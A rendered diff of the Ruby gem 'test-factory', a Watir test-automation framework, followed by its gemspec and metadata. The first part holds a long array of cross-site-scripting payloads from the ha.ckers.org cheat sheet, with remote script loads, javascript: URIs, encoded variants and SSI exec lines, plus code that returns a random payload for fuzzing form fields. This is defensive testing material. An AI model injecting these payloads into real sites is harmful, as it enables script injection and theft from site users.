"<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>", "<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>", "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>", "<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "perl -e 'print \"<SCR\\0IPT>alert(\\\"XSS\\\")</SCR\\0IPT>\";' > out", "<IMG SRC = \" j a v a s c r i p t : a l e r t ( ' X S S ' ) \" >", "Redirect 302 /a.jpg http://www.rsmart.com/admin.asp&deleteuser", "perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out", "<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", "a=\"get\"; b=\"URL(\\\"\"; c=\"javascript:\"; d=\"alert('XSS');\\\")\"; eval(a+b+c+d);", "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>", "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>", "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", "<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>", "<XML SRC=\"xsstest.xml\" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('XSS')</SCRIPT>\">", "exp/*<A STYLE='no\\xss:noxss(\"*//*\"); xss:ex/*XSS*//*/*/pression(alert(\"XSS\"))'>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", "<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->", "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", "<HTML xmlns:xss> <?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"> <xss:xss>XSS</xss:xss> </HTML>", "<IMG SRC=javascript:alert('XSS')>", "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-", "<IMG SRC=javascript:alert('XSS')>", "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<XML ID=\"xss\"><I><B><IMG SRC=\"javas<!-- -->cript:alert('XSS')\"></B></I></XML> <SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>", "<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">", "<IMG SRC=javascript:alert('XSS')>", "';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>", "<HTML><BODY> <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"> <?import namespace=\"t\" implementation=\"#default#time2\"> <t:set attributeName=\"innerHTML\" to=\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\"> </BODY></HTML>", "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>"]
|
114
|
+
x = rand(4)
|
115
|
+
case(x)
|
116
|
+
when 0
|
117
|
+
return xss[rand(number)]
|
118
|
+
when 1
|
119
|
+
return %|"| + xss[rand(number)]
|
120
|
+
when 2
|
121
|
+
return %|">| + xss[rand(number)]
|
122
|
+
when 3
|
123
|
+
return %|>| + xss[rand(number)]
|
124
|
+
end
|
125
|
+
|
126
|
+
end
|
127
|
+
end
|
@@ -0,0 +1,13 @@
|
|
1
|
+
spec = Gem::Specification.new do |s|
|
2
|
+
s.name = 'test-factory'
|
3
|
+
s.version = '0.0.1'
|
4
|
+
s.summary = %q{rSmart's framework for creating automated testing scripts}
|
5
|
+
s.description = %q{This gem provides a set of modules and methods to help quickly and DRYly create a test automation framework using Ruby and Watir (or watir-webdriver).}
|
6
|
+
s.files = Dir.glob("**/**/**")
|
7
|
+
s.test_files = Dir.glob("test/*test_rb")
|
8
|
+
s.authors = ["Abraham Heward"]
|
9
|
+
s.email = %w{"aheward@rsmart.com"}
|
10
|
+
s.homepage = 'https://github.com/rSmart'
|
11
|
+
s.add_dependency 'watir-webdriver', '>= 0.6.1'
|
12
|
+
s.required_ruby_version = '>= 1.9.2'
|
13
|
+
end
|
metadata
ADDED
@@ -0,0 +1,71 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: test-factory
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.0.1
|
5
|
+
prerelease:
|
6
|
+
platform: ruby
|
7
|
+
authors:
|
8
|
+
- Abraham Heward
|
9
|
+
autorequire:
|
10
|
+
bindir: bin
|
11
|
+
cert_chain: []
|
12
|
+
date: 2012-10-26 00:00:00.000000000 Z
|
13
|
+
dependencies:
|
14
|
+
- !ruby/object:Gem::Dependency
|
15
|
+
name: watir-webdriver
|
16
|
+
requirement: !ruby/object:Gem::Requirement
|
17
|
+
none: false
|
18
|
+
requirements:
|
19
|
+
- - ! '>='
|
20
|
+
- !ruby/object:Gem::Version
|
21
|
+
version: 0.6.1
|
22
|
+
type: :runtime
|
23
|
+
prerelease: false
|
24
|
+
version_requirements: !ruby/object:Gem::Requirement
|
25
|
+
none: false
|
26
|
+
requirements:
|
27
|
+
- - ! '>='
|
28
|
+
- !ruby/object:Gem::Version
|
29
|
+
version: 0.6.1
|
30
|
+
description: This gem provides a set of modules and methods to help quickly and DRYly
|
31
|
+
create a test automation framework using Ruby and Watir (or watir-webdriver).
|
32
|
+
email:
|
33
|
+
- ! '"aheward@rsmart.com"'
|
34
|
+
executables: []
|
35
|
+
extensions: []
|
36
|
+
extra_rdoc_files: []
|
37
|
+
files:
|
38
|
+
- lib/test-factory/core_ext.rb
|
39
|
+
- lib/test-factory/data_factory.rb
|
40
|
+
- lib/test-factory/date_factory.rb
|
41
|
+
- lib/test-factory/foundry.rb
|
42
|
+
- lib/test-factory/page_factory.rb
|
43
|
+
- lib/test-factory/string_factory.rb
|
44
|
+
- lib/test-factory.rb
|
45
|
+
- README.md
|
46
|
+
- test-factory.gemspec
|
47
|
+
homepage: https://github.com/rSmart
|
48
|
+
licenses: []
|
49
|
+
post_install_message:
|
50
|
+
rdoc_options: []
|
51
|
+
require_paths:
|
52
|
+
- lib
|
53
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
54
|
+
none: false
|
55
|
+
requirements:
|
56
|
+
- - ! '>='
|
57
|
+
- !ruby/object:Gem::Version
|
58
|
+
version: 1.9.2
|
59
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
60
|
+
none: false
|
61
|
+
requirements:
|
62
|
+
- - ! '>='
|
63
|
+
- !ruby/object:Gem::Version
|
64
|
+
version: '0'
|
65
|
+
requirements: []
|
66
|
+
rubyforge_project:
|
67
|
+
rubygems_version: 1.8.24
|
68
|
+
signing_key:
|
69
|
+
specification_version: 3
|
70
|
+
summary: rSmart's framework for creating automated testing scripts
|
71
|
+
test_files: []
|